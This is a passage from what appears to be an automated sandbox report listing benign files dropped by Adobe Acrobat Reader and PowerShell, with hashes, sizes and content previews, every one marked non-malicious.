Entropy (8bit):	5.309385282066422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfYdPeUkwRe9:YvXKXDzEZc0vp5Gg8Ukee9
MD5:	DB424DF873B7324EA57E8BB8397E43C4
SHA1:	C926863342BDAB378EEADCC9153E1588DBC85B03
SHA-256:	2483AC86715B0259E01EA29E8422A2B4DE535E38BBE2228B0230DC69823831DE
SHA-512:	ACE6658F7D424FB1D01F3944BD48CFC5F202F37B5EAC7DFFC8803BFF5473891B1E00ACB111C3C93F1DDFB57CA00802180D5F4C05CBC47232B02E15F931B108DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.296182242348954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJf+dPeUkwRe9:YvXKXDzEZc0vp5G28Ukee9
MD5:	543A7316A2275B53786D696C164AF352
SHA1:	ECDE7B9720E97F87B3EF4373CF815E08A2321DB9
SHA-256:	D114E993136C797681A17922B0A29E3EAEFBC60320AF285037CFD30321D1A963
SHA-512:	C5151B99E9B998C4EBADAD1DE1ABCFC69525EE0EA75A0C82C11966B568DC7BE675BD65CAFC485E37121949FC76CB5AED3F6BB1EE6D8C644D56C908EE06B7D047
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.292867876083473
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfbPtdPeUkwRe9:YvXKXDzEZc0vp5GDV8Ukee9
MD5:	7DF4AC5E13FE44861D18BEE1721D8705
SHA1:	9FCAAD317FD24FA43F30D48DE53D6DC8CC8665D6
SHA-256:	5354E5809BE3A28C78A7DB99D2A995F109C5BF5E4933106E6D5645A5B3FC006F
SHA-512:	F392AC7850D9BC0A1182E9B1F9798781BC5A013163C42BDB9EB402783F1426B840357BD9F261CB3D1DED0B66B515AE975BD4A4677CEB304822027723084701D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.297649235038993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJf21rPeUkwRe9:YvXKXDzEZc0vp5G+16Ukee9
MD5:	B819A4881F8E54608C250D587FA0B34D
SHA1:	659BCD862CC2635A1D1CAF646877849166A0EA27
SHA-256:	E253D8C544C574A20ECB40E13BBABA777705DE3E0443E09DA23FA06FC3F0C1D4
SHA-512:	4D19FE8BCB482A27749A8CD3B3F052BBF2B773DAFC8B622A72CFCA0961271348F9C7556F7AAA2EEBE2FD3385C456AF1D53CD6DF3DF79E27CE069300B1167FEF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6652418854101985
Encrypted:	false
SSDEEP:	24:Yv6XDzEzv4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSNY:Yv2gWBgkDMUJUAh8cvMNY
MD5:	1188CC2C1C965A8837564375A95E2694
SHA1:	4EC9E6DD27716B6444E5ED82B77B5CCB494E09D6
SHA-256:	D88F55F3F9F49544403A176DB716B9B3EC5D356BE9241765AE7B96F28A6852EB
SHA-512:	068C58753631D93044F66001E3973428FBC45A3DF129B05B0A0A8E87419329C9941296257807E140CCE5B7C4007AD8DC096AB5F313C5B49F7C42669157B486EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272759345947154
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJfshHHrPeUkwRe9:YvXKXDzEZc0vp5GUUUkee9
MD5:	951DD4F49147954CB60ABA3DF763E32A
SHA1:	7FB28C314918777CABC9295C84F143C0EBD5B929
SHA-256:	9252E4CB0615765DD3942A504DE2B6B2E89690502918A18067C5F9D04600CDD1
SHA-512:	F70599F30FA8EA17A177109A0B674F80D42D4BB6B7F96788E645BC86A03190E91C263C07BDFF695EEA7A404A8AF4A701D6E2EB7315826DCEF9CF803742B7FC96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.285306737862093
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG0z9VoZcg1vRcR0YaKoAvJTqgFCrPeUkwRe9:YvXKXDzEZc0vp5GTq16Ukee9
MD5:	00483C74F4191299A1969A117952DFBE
SHA1:	F63F2EE0433091C61DFD03E05C9634A210476790
SHA-256:	E1D38FE050A1C4EECDF1B1021F4EF359CFC32D2C69B43642ED01FA27ED8C807F
SHA-512:	BB96177C80EBF44EBCDF262CEC212EBF6280A0AB22F5C76C5B20C2A1A2D11553E07929BA1D483FC5DF6F8214F63C0E88A04FDC9F8A4DC80FDE71BBE55972BDF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a699289e-08ef-4656-b45b-c38aed7dd050","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757591821,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1398713314082425
Encrypted:	false
SSDEEP:	24:YE+Za923aygUXDi1VJpzLDD5c10uE4Tjrj0Sd2Hp26J2LS3C3KamlGhRVZ5v9OUQ:Y02u1zxLDt/uvHEfJ5cKamchFt9z9LS
MD5:	E8B3069F77E46AB703215E9629A0BF10
SHA1:	022BCD91C558A9EF0C1B484A2CC60B4215A0B29F
SHA-256:	4FBE2AE7A43234A188343C44EA8ED55636CAB7D102AD489A75FB92FF04EEFB80
SHA-512:	9EB26EEB45018FA766E2C8755456D6D0AFAF1E483BD1081245CE4197BF6952AC4AECD8BAD5F177F36E1F5D43D2A843AB1CDF1F890722A9128087D3794431EEBD
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2b166f586ef07539a8b16eb2b21288c1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580246000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dfeb33c9eefc241098d6741765d10f42","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580246000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"afd4ed91d660a03ae010425b1bd74a4c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580246000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e5d95375fe72da5228b451b4fe919397","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580246000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7d5510713f47a24b3d8f205e8d25c858","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580246000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"61459aaef3974b5b19f46048fea8c783","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1879555753954631
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU4SvR9H9vxFGiDIAEkGVvpi:lNVmswUUUUUUUU4+FGSIt2
MD5:	DCDD95F8EFAC61AEEB740C5640F2EBBB
SHA1:	7D41037763296B5039553690B6A8FEA63DB05830
SHA-256:	1EEAB8925E3C80062A85A55D317802FCE84DFB42817A170903347C3FC3DA8919
SHA-512:	4D22F2A8B1B0F72F9012862190B03BAA327C119FDF299D6647C1FC9B3EEBB8F0A7A5E0DB64F06CF7A80BAFF95E9B540EA86EB1F964D4FCA6328493183501D81F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6076846586873965
Encrypted:	false
SSDEEP:	48:7MuKUUUUUUUUUUavR9H9vxFGiDIAEkGVv3qFl2GL7mse:7GUUUUUUUUUUmFGSIt9KVmse
MD5:	30F4B23AEE547955E3AEE99931E12D22
SHA1:	97F6112E63BEB1B42199DA82EB8F8BDEF9220E22
SHA-256:	1AEFBC7D853243C0E64BF170C83A0C186538F5E85EC87E10253468F4B5892D3A
SHA-512:	29259D4DD921D5A3E322BCEC97FE2757103674B1C459080DF645CC2C7AA130E801050E9BB9BF1102BB39ACA60C38CB376F4B21905879529CA321920DE21C4189
Malicious:	false
Preview:	.... .c.......WC......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgCuAhfvbl1sUfxel/34C+LsvYyu:6a6TZ44ADEpAhfvbl1aNvK
MD5:	30DC47A5AD5D42AB90F2499FE6288720
SHA1:	6C1936B683A3953821383D36BA288351F0136965
SHA-256:	E949E8DA6EE16B9A50CFA293B75F5C88E13E24EBB89547BA7186BAF980C73EF2
SHA-512:	75E88A980F27C2C4809D0F1E7CBF060396B9F2BC258A2AF7871244D39A7C63CD52AC6003ACC12869D4E31ACB0F41C85CB0A017746C92C61F641A947174AD17E0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIadca0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clh:Qw946cPbiOxDlbYnuRKdc
MD5:	D9A65FE11A5430FEFF25D42C122A197B
SHA1:	BA0F3566F6CECC20B90D416382972ADC9AD945CB
SHA-256:	92E7D650FE8C7AA78EDC37AC91AF384925936916ADC4DA391DE7746531A4696B
SHA-512:	2D949B7E505725796105283FF9849D1292659358CF60796E178D2FCC567AC9180182960BC57A916B2A1170040F5C671B5BB6A928C1E11631721B8B9F84578CF0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.2.4.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xav3wz3z.yrd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqvepieq.wn5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-24-03-100.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364269673855523
Encrypted:	false
SSDEEP:	384:mqDhNhGhlh/hshXDAUA9AjAcASAHSnQSQS3b+bSbMYAZtZZZSZnZjRsFsZs/TTTH:mkb4zpWdDnoQN/+wQ5oq2wPPj4d/Y8mL
MD5:	45ADD66CB02499196ECED4546CBE6FED
SHA1:	5B9F885E55E1DC8FCE238949AB5DD6A3E6B10067
SHA-256:	4CBEB376A49E2D0031EB54D3A5FE6F57E4E3D051F9B0537E0A56F5AC0C2C313D
SHA-512:	F4B73E775CB39C651DDFB8DD6B187F8B32B9A570E645BB0D7CCF4A4E1AE027AD707C882F0ADED3AE550A071DCF1C81BB1700BB5500450C0C74312DF2B27E1FFD
Malicious:	false
Preview:	SessionID=8a9b2a90-fddf-4b2d-932d-49fd3a68d491.1736580243127 Timestamp=2025-01-11T02:24:03:127-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8a9b2a90-fddf-4b2d-932d-49fd3a68d491.1736580243127 Timestamp=2025-01-11T02:24:03:128-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8a9b2a90-fddf-4b2d-932d-49fd3a68d491.1736580243127 Timestamp=2025-01-11T02:24:03:128-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8a9b2a90-fddf-4b2d-932d-49fd3a68d491.1736580243127 Timestamp=2025-01-11T02:24:03:128-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8a9b2a90-fddf-4b2d-932d-49fd3a68d491.1736580243127 Timestamp=2025-01-11T02:24:03:128-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.381650761495515
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rw:k
MD5:	6EEA3AD9858BF2C63021D7EB8DB41BF5
SHA1:	05702A1EE53520ECB57B38C87FDF1BC51D8F4EB4
SHA-256:	FECF9BB367731E4A4F4F8C82CC0C039D405F7C2BA4487893480F2CDD6763ADC2
SHA-512:	FDC535FAC15C0B1B1C52D43D04260F4139505EF1976BDD6FD734E4B4EA7944FC1D18F2E29EAD3044BFD3066395F81E2B3CE5717E4C0989971A982500F11F455F
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2ee99b8d-c858-4141-b0c0-a7bae55aa2cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4cdc4593-3c6d-4a7f-8f27-fb4e832560c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
